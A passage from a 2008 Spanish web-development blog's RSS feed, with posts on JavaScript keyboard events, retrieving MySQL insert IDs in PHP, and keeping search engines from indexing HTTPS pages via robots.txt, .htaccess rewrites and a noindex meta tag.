href="http://www.imasdeweb.com/UserFiles/crear-paginas-web/013.htm" target="_blank"&gt;página de ejemplo&lt;/a&gt; para que podáis probar la diferencia.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;En donde se aprecia muy bien la diferencia es haciendo lo siguiente: escribimos algo de texto en la caja (probadlo en ambas cajas para ver la diferencia) y el texto se irá "copiando" automaticamente en una etiqueta &lt;i&gt;span&lt;/i&gt; que tengamos debajo. Hasta aquí ambos eventos funcionan "aparentemente" igual: cada vez que escribimos una letra, se dispara el evento y replica el contenido de la caja en el span.&lt;/p&gt; Sin embargo, una vez tengais escrito algo de texto, seleccionad parte del texto y pulsad una tecla cualquiera y veréis la diferencia entre ambos eventos: &lt;b&gt;onKeyPress no actualiza el contenido del span, pero onKeyUp sí lo hace!&lt;/b&gt;. es decir, sí lo hace, pero solamente si luego seguimos pulsando más teclas, pero no lo hace inmediatamente :(&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Jejeje, no me preguntéis el porqué ocurre eso, pero creo que nos es útil saberlo, verdad?! Yo lo descubrí proque estaba haciendo una especie de calculadora de precios: necesitaba que en el span saliera automaticamente el precio con IVA de un precio que yo introducía en un input, y necesitaba que funcionara sincronizadamente (como sucede usando onKeyUp).&lt;/p&gt;</description><link>http://crear-paginas-web.blogspot.com/2008/09/eventos-de-teclado-con-javascript.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>14</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-4868907456557992733</guid><pubDate>Tue, 26 Aug 2008 19:49:00 +0000</pubDate><atom:updated>2008-08-26T13:10:04.399-07:00</atom:updated><title>En PHP recuperar el ultimo ID de un INSERT MySQL</title><description>&lt;span style="color: rgb(0, 153, 0);"&gt;Programando en PHP, ¿alguna vez has necesitado saber el valor generado para un ID autoincremental después de una consulta tipo INSERT? ¿eres de los que -como yo- se ha complicado la vida haciendo una consulta SELECT para encontrar el id más alto en esa tabla o el max(ID)? Pues anota la siguiente instrucción ;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Te pondré un simple ejemplo de 3 líneas, y verás qué sencillo: supongamos que tienes una tabla llamada 'mi_tabla1' que tiene un campo ID de tipo AUTO_INCREMENT, y necesitas insertar un registro y luego saber inmediatamente cuál es el ID que se ha generado para él, con tal de poder aprovecharlo en otras tablas.&lt;br /&gt;&lt;br /&gt;Veamos esas 3 líneas de código:&lt;br /&gt;&lt;br /&gt;&lt;div   style="border: 1px solid rgb(170, 170, 170); padding: 11px; color: rgb(0, 0, 204); background-color: rgb(221, 221, 221); line-height: 25px;font-family:sans-serif;font-size:0.8em;"&gt;mysql_query("INSERT mi_tabla1 SET `mi_campo`='mi_valor'");&lt;br /&gt;$ultimo_ID = &lt;span style="font-weight: bold;"&gt;mysql_insert_id()&lt;/span&gt;;&lt;br /&gt;mysql_query("INSERT mi_tabla2 SET `id1`='".$ultimo_ID."'");&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Breve explicación: en la primera línea insertamos un nuevo registro en la tabla 'mi_tabla1'. En la segunda línea recuperamos CON UNA SOLA INSTRUCCIÓN el último valor "autogenerado" (tiene que haber un campo AUTO_INCREMENT en esa tabla) por la última inserción realizada en la conexión MySQL establecida por el script en ejecución. En la tercera línea utilizamos ese valor para añadir un nuevo registro con ese ID asociado a un campo que esta vez no será AUTO_INCREMENT, pero que permitirá relacionar los registros de ambas tablas.&lt;br /&gt;&lt;br /&gt;Cómo habréis notado, el quit de la cuestión está en la función de PHP &lt;span style="font-weight: bold;"&gt;mysql_insert_id()&lt;/span&gt;.</description><link>http://crear-paginas-web.blogspot.com/2008/08/en-php-recuperar-el-ultimo-id-de-un.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>14</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-5149791069972596315</guid><pubDate>Tue, 19 Feb 2008 12:10:00 +0000</pubDate><atom:updated>2011-04-08T12:35:00.787-07:00</atom:updated><title>Cómo evitar que los buscadores indexen nuestras páginas seguras</title><description>&lt;div style="color: rgb(0, 153, 0);"&gt;¿Has incluido páginas SSL seguras en tu sitio web, y los buscadores han empezado a indexarte de nuevo todas tus páginas HTTP como HTTPS, cual duplicados? ¿Sabías que curiosamente eso puede penalizar la posición de tu web en los rankings de esos mismos buscadores?&lt;/div&gt;&lt;br /&gt;Como este era mi caso, estuve buscando información para solucionarlo, y aquí os he traducido del inglés un articulo que detalla dos soluciones. El original podéis leerlo en &lt;a href="http://www.seoworkers.com/seo-articles-tutorials/robots-and-https.html" target="_blank"&gt;www.seoworkers.com&lt;/a&gt;.&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="font-family: verdana; font-size: 12px;"&gt;&lt;p&gt;Muchos sitios web tienen páginas que utilizan SSL. Esto permite que el intercambio de información entre el servidor y el navegador del visitante suceda en una conexión encriptada, para garantizar la provacidad y la integridad de la misma.&lt;/p&gt;Las URLs (direcciones) de páginas encriptadas con SSL comienzan con &lt;b&gt;https&lt;/b&gt; en lugar de con &lt;b&gt;http&lt;/b&gt;, para indicar que trabajan sobre un protocolo &lt;b&gt;seguro&lt;/b&gt;.&lt;br /&gt;&lt;p&gt;El caso es que si las páginas seguras de tu sitio web han sido indexadas por los buscadores juntamente con el resto de páginas estandar, puedes experimentar serios problemas de &lt;b&gt;canonicalización&lt;/b&gt;.&lt;/p&gt;&lt;br /&gt;[NT: por ejemplo, que los buscadores consideren que tu página principal sea https://www.midominio.com antes que http://www.midominio.com -tal vez no conteniendo la misma información!!! O también -aún peor- puede que los buscadores interpreten que estás intentando "duplicar" el contenido de tu web con modos fraudulentos, y pueden penalizarte por ello!!! En cualquier caso, es perjudicial para la adecuada presencia de tu web en los buscadores.]&lt;br /&gt;&lt;br /&gt;Estos problemas aparecen solo si tienes las páginas seguras dentro del mismo subdominio en el que tienes las páginas estandar.&lt;br /&gt;&lt;br /&gt;En cambio, en el caso de que tus páginas seguras las tengas bajo un subdominio exclusivo [NT, por ejemplo: https://&lt;b&gt;pagos&lt;/b&gt;.midominio.com] puedes fácilmente excluirlas de la indexación usando el archivo robots.txt en la raíz del directorio de ese subdominio.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;En algunos casos solamente una página requiere el uso de SSL (como el formulario de contacto o de pagar). La opción más cómoda y habitual en esos casos es tener esa página siguiendo la estructura estandar del resto del sitio web. Cambiando solamente el "prefijo de protocolo" de la dirección de esa página (de http a https).&lt;/p&gt;&lt;br /&gt;Sin embargo, esta técnica es la que nos puede llevar a los problemas de indexación en los buscadores que antes hemos comentado, puesto que los buscadores, si siguen los enlaces que salgan de esa única página SSL, son llevados a "duplicados" de las páginas estandar del sitio, pero con el prefijo https [NT: hay que recalcar aquí que para los buscadores la dirección &lt;b&gt;http&lt;/b&gt;://www.midominio.com/servicios.htm es en principio diferente que &lt;b&gt;https&lt;/b&gt;://www.midominio.com/servicios.htm, con lo cuál indexará las dos direcciones como páginas diferentes].&lt;br /&gt;&lt;br /&gt;Esto sucede porque normalmente todos los enlaces internos dentro de un sitio web son &lt;b&gt;enlaces relativos&lt;/b&gt; y por tanto heredan el protocolo y el dominio de la página en donde aparecen.En conclusión, Google -y posiblemente los otros buscadores- pueden considerar esta situación como un intento de "duplicación" de contenidos [NT: técnica que algunos desarrolladores de webs intentan de vez en cuando para engañar a los buscadores, y que por tanto está muy penalizado]. Y esto se traduciría en que los buscadores que quisiseran penalizarte rebajarían la posición de tu página en el ranking páginas en las búsquedas de los internautas.&lt;br /&gt;&lt;br /&gt;Una vez indexadas, Google continuará visitando esas páginas seguras de tu sitio, a menos que las excluyas mediante el archivo &lt;b&gt;robots.txt&lt;/b&gt; o con &lt;b&gt;meta tags&lt;/b&gt; [NT: meta etiquetas] especiales en la cabecera de cada página.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Entonces, ¿cómo puedo evitar que Google visite esas páginas?&lt;/h3&gt;Si te encuentras en la posición descrita, te parecerá que no hay manera de solucionarlo fácilmente.&lt;br /&gt;&lt;br /&gt;Hay una manera de que el archivo robots.txt redireccione las peticiones de páginas seguras a un segundo archivo que excluiría las páginas seguras a los programas de rastreo.&lt;br /&gt;&lt;br /&gt;Para aplicar esta solución, sin embargo, &lt;b&gt;debes usar el servidor Apache en tu hosting con el mod_rewrite activado [NT en inglés "enabled"]&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Primero, deberías crear un segundo archivo robots.txt, llamándolo robots_ssl.txt (o el nombre que prefieras), asegurándote de que bloquea a los rastreadores de todos los buscadores. Súbelo a la raíz de tu dominio.&lt;br /&gt;&lt;br /&gt;Para más información acerca del archivo &lt;b&gt;robots.txt&lt;/b&gt;, qué es y cómo funciona, visita &lt;a href="http://www.robotstxt.org/orig.html" target="_blank"&gt;The web Robots Pages&lt;/a&gt; [NT: en habla hispana es recomendable &lt;a href="http://www.webrecursos.com/pages/promo/promobot.htm" target="_blank"&gt;WebRecursos - robots.txt&lt;/a&gt;].&lt;br /&gt;&lt;br /&gt;Aquí tienes un ejemplo de este archivo:&lt;br /&gt;&lt;br /&gt;&lt;p style="font-style: italic;"&gt;&lt;br /&gt;User-agent: Googlebot&lt;br /&gt;Disallow: /&lt;br /&gt;&lt;br /&gt;User-agent: *&lt;br /&gt;Disallow: /&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;Además, necesitarás añadir los siguientes comandos al archivo &lt;b&gt;.htaccess&lt;/b&gt; que haya en la raíz de archivos de tu servidor [NT: &lt;i&gt;root document folder&lt;/i&gt;]:&lt;br /&gt;&lt;br /&gt;&lt;p style="font-style: italic; color: rgb(0, 0, 204);"&gt;RewriteEngine on&lt;br /&gt;Options +FollowSymlinks&lt;br /&gt;RewriteCond %{SERVER_PORT} ^443$&lt;br /&gt;RewriteRule ^robots.txt$ robots_ssl.txt&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Resumidamente, este comando ordena al servidor web a dirigir cualquier petición para el archivo robots.txt que provenga del puerto 443 (usado para las conexiones SSL, en lugar del puerto 80 habitual para las conexiones web estandar) al segundo archivo que creamos, y que bloquea la indexación.&lt;/p&gt;Para poder comprobar que está funcionando esta técnica, escribe la URL de tu archivo robots.txt en tu navegador para ver el comportamiento habitual del mismo para comandos estandar. Y luego prueba a escribir la misma URL pero con el prefijo de protocolo seguro (https) y deberías ver el contenido del segundo archivo, robots_ssl.txt.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;¿Qué puedo hacer si no puedo utilizar &lt;i&gt;mod_rewrite&lt;/i&gt;?&lt;/h3&gt;Si te es imposible activar &lt;i&gt;mod_rewrite&lt;/i&gt;, ya sea porque no utilizas un servidor Apache, o porque no está habilitada esta función, todo lo anterior no te sirve de nada.&lt;br /&gt;&lt;br /&gt;Si utilizas PHP para generar las páginas de tu site, puedes utilizarlo para comprobar si se está llamando a tu página mediante SSL, y en caso afirmativo puedes incluir un &lt;i&gt;meta tag&lt;/i&gt; en la cabecera [NT: &lt;i&gt;head&lt;/i&gt;] de tus documentos para desactivar la indexación por los buscadores.&lt;br /&gt;&lt;br /&gt;El siguiente código, situado en cualquier parte de la cabecera de tu documento [NT: entre &amp;lt;head&amp;gt; y &amp;lt;/head&amp;gt;] insertará el meta tag &lt;i&gt;robots&lt;/i&gt; si el valor de la variable HTTPS del servidor está establecida a 'on':&lt;br /&gt;&lt;br /&gt;&lt;div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'&gt;&lt;code&gt;&lt;b style='color:#888!important;'&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: #000000"&gt;&lt;span style="color: #0000BB"&gt;&amp;lt;?php&lt;br /&gt;&lt;b style='color:#888!important;'&gt;2&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;3&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;if&amp;nbsp;(isset(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$_SERVER&lt;/span&gt;&lt;span style="color: #007700"&gt;[&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'HTTPS'&lt;/span&gt;&lt;span style="color: #007700"&gt;])&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;4&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;strtolower&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$_SERVER&lt;/span&gt;&lt;span style="color: #007700"&gt;[&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'HTTPS'&lt;/span&gt;&lt;span style="color: #007700"&gt;])==&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'on'&lt;/span&gt;&lt;span style="color: #007700"&gt;){&lt;br /&gt;&lt;b style='color:#888!important;'&gt;5&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;6&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"\n&amp;lt;meta&amp;nbsp;name='robots'&amp;nbsp;content='noindex,nofollow'&amp;gt;"&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;7&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;8&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;b style='color:#888!important;'&gt;9&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;10&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;Para verificar el funcionamiento correcto de este código, visita cualquier página en la que lo hayas incluido utilizando SSL (https://www.midominio.com/archivo.php). Y luego usa el comando &lt;b&gt;ver codigo fuente&lt;/b&gt; de tu navegador para comprobar que el metatag aparece insertado en la cabecera del documento.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Enlaces de interés&lt;/h3&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;&lt;a href='http://www.seoworkers.com/seo-articles-tutorials/robots-and-https.html' onclick='window.open(this.href);return false;'&gt;Preventing search engine indexing of secure pages (artículo original)&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href='http://www.ojobuscador.com/2008/02/09/redireccion-301-en-php/' onclick='window.open(this.href);return false;'&gt;Redirección 301 en PHP para migraciones de dominio&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;/div&gt;</description><link>http://crear-paginas-web.blogspot.com/2008/02/cmo-evitar-que-los-buscadores-indexen.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>2</thr:total></item></channel></rss>